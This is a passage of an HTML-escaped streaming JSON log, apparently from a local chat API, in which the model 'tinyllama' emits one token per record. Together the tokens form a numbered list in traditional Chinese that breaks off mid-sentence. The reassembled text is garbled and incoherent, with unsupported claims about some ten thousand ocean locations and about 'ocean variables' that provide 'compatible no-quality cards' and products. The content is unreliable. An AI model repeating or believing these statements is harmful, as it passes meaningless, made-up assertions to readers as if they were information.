{\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:34.574864062Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;以\u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:34.692434625Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;將\u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:34.808083717Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;您\u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:34.841766545Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;在\u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:34.88390262Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;海\u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:34.92570495Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;洋\u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:34.967082357Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;中\u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:35.008975382Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;所\u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:35.050907586Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;看\u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:35.096375545Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;到\u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:35.137861283Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;的\u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:35.179245218Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;地\u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:35.288271284Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;點\u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:35.401424504Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;約\u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:35.442568772Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;1\u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:35.484519151Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;0\u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:35.526606285Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;千\u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:35.637240677Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;個\u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:35.681802589Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;。\u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:35.728854126Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;\\n\u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:35.773713061Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;3\u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:35.82416661Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;.\u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:35.870473753Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34; \u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:35.920681831Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;每\u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:36.062554172Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;個\u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:36.10728811Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;海\u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:36.157227528Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;洋\u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:36.294652267Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;變\u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:36.429216637Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;數\u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:36.491528115Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;都\u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:36.541290784Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;會\u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:36.589441176Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;提\u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:36.755487519Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;供\u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:36.814032735Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;相\u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:36.883202165Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;容\u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:37.00709904Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;沒\u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:37.047920002Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;有\u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:37.15275023Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;質\u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:37.194787159Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;量\u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:37.306668274Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;卡\u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:37.347222326Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;片\u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:37.388577325Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;的\u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:37.490015033Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;詳\u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:37.592301588Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;細\u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:37.703562904Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;資\u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:37.744863154Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;料\u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:37.784344307Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;，\u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:37.818466674Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;可\u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:37.854858312Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;以\u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:37.957611428Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;從\u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:37.997900862Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;此\u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:38.037610255Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;中\u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:38.080279827Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;得\u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:38.119562927Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;到\u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:38.218389693Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;產\u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:38.257657485Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;品\u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:38.296945747Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;。\u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:38.336771527Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;\\n\u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:38.376279648Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;4\u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:38.415357346Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;.\u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:38.453611575Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34; \u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:38.492201398Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;我\u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:38.594017434Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;們\u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:38.634176377Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;的\u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:38.743116094Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;組\u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:38.783169137Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;隊\u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:38.893917176Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;又\u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:38.932638717Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;包\u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:39.029502874Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;括\u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:39.068705248Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;了\u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:39.108747415Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;一\u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:39.148735608Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;些\u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:39.247310391Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;響\u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:39.345973671Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;應\u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:39.384787917Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;科\u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:39.414638079Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;技\u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:39.504701453Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;專\u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:39.534920661Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;業\u0026#34;},\u0026#34;done\u0026#34;:false} {\u0026#34;model\u0026#34;:\u0026#34;tinyllama\u0026#34;,\u0026#34;created_at\u0026#34;:\u0026#34;2024-07-06T14:40:39.565649892Z\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;assistant\u0026#34;,\u0026#34;content\u0026#34;:\u0026#34;人\u0026#34;},\u0026#34;done\u0026#34;:false} 